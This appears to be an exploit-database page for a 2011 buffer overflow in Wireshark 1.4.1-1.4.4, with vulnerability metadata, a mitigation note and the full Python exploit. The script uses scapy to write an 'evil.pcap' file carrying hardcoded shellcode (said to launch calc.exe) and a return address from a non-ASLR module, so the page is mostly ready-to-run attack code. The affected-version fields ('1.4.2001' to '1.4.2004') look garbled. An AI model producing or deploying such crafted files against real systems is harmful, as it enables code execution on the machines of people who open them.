Exploit for Wireshark 1.4.1-1.4.4

vendor:

Wireshark

by:

sickness

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Wireshark

Affected Version From: 1.4.2001

Affected Version To: 1.4.2004

Patch Exists: YES

Related CWE: N/A

CPE: a:wireshark:wireshark

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP2 and SP3

2011

Exploit for Wireshark 1.4.1-1.4.4

This exploit is for Wireshark 1.4.1-1.4.4. It is a buffer overflow exploit which uses a payload of calc.exe and a non-ASLR enabled wireshark module. It has been tested on Windows XP SP2 and SP3 but should work on every Windows with DEP off. It has been fixed in the latest version 1.4.5.

Mitigation:

Upgrade to the latest version of Wireshark 1.4.5

Source

Exploit-DB raw data:

#!/usr/bin/env python
# Vulnerable app: Wireshark 1.4.1-1.4.4
# Author: sickness
# Download : 
# OS: Tested it on Windows XP SP2 and SP3 but it should work on every Windows with DEP off (still working on a ROP exploit)
# DATE   : 17.04.2011
# Fixed in latest version 1.4.5
# DO NOT FORGET TO FEEL THE PWNSAUCE WITH: http://redmine.corelan.be:8800/projects/pvefindaddr
###################################################################
# Offset might change!
# Watch out for other bad chars!!
# Current bad chars: \x00\x0a\x0d\x09
###################################################################
# References:
# https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836
# https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838
###################################################################


import sys
from scapy.all import *

#payload=calc.exe
#ppr is from a non-ASLR enabled wireshark module

evil = Ether(type=0x2323)/("\x41" * 1239 + "\xeb\x06\x90\x90" +  "\x5D\x10\x94\x62" + "\x90" * 16 + "\x33\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x17\x22\xfd\x6a\x83\xee\xfc\xe2\xf4\xeb\xca\x74\x6a\x17\x22\x9d\xe3\xf2\x13\x2f\x0e\x9c\x70\xcd\xe1\x45\x2e\x76\x38\x03\xa9\x8f\x42\x18\x95\xb7\x4c\x26\xdd\xcc\xaa\xbb\x1e\x9c\x16\x15\x0e\xdd\xab\xd8\x2f\xfc\xad\xf5\xd2\xaf\x3d\x9c\x70\xed\xe1\x55\x1e\xfc\xba\x9c\x62\x85\xef\xd7\x56\xb7\x6b\xc7\x72\x76\x22\x0f\xa9\xa5\x4a\x16\xf1\x1e\x56\x5e\xa9\xc9\xe1\x16\xf4\xcc\x95\x26\xe2\x51\xab\xd8\x2f\xfc\xad\x2f\xc2\x88\x9e\x14\x5f\x05\x51\x6a\x06\x88\x88\x4f\xa9\xa5\x4e\x16\xf1\x9b\xe1\x1b\x69\x76\x32\x0b\x23\x2e\xe1\x13\xa9\xfc\xba\x9e\x66\xd9\x4e\x4c\x79\x9c\x33\x4d\x73\x02\x8a\x4f\x7d\xa7\xe1\x05\xc9\x7b\x37\x7d\x23\x70\xef\xae\x22\xfd\x6a\x47\x4a\xcc\xe1\x78\xa5\x02\xbf\xac\xd2\x48\xc8\x41\x4a\x5b\xff\xaa\xbf\x02\xbf\x2b\x24\x81\x60\x97\xd9\x1d\x1f\x12\x99\xba\x79\x65\x4d\x97\x6a\x44\xdd\x28\x09\x76\x4e\x9e\x44\x72\x5a\x98\x6a" + "\x90" * 4500)
wrpcap("evil.pcap",evil)


print "\n"
print "Evil .pcap file created!"
print "It's pwnsauce time!\n"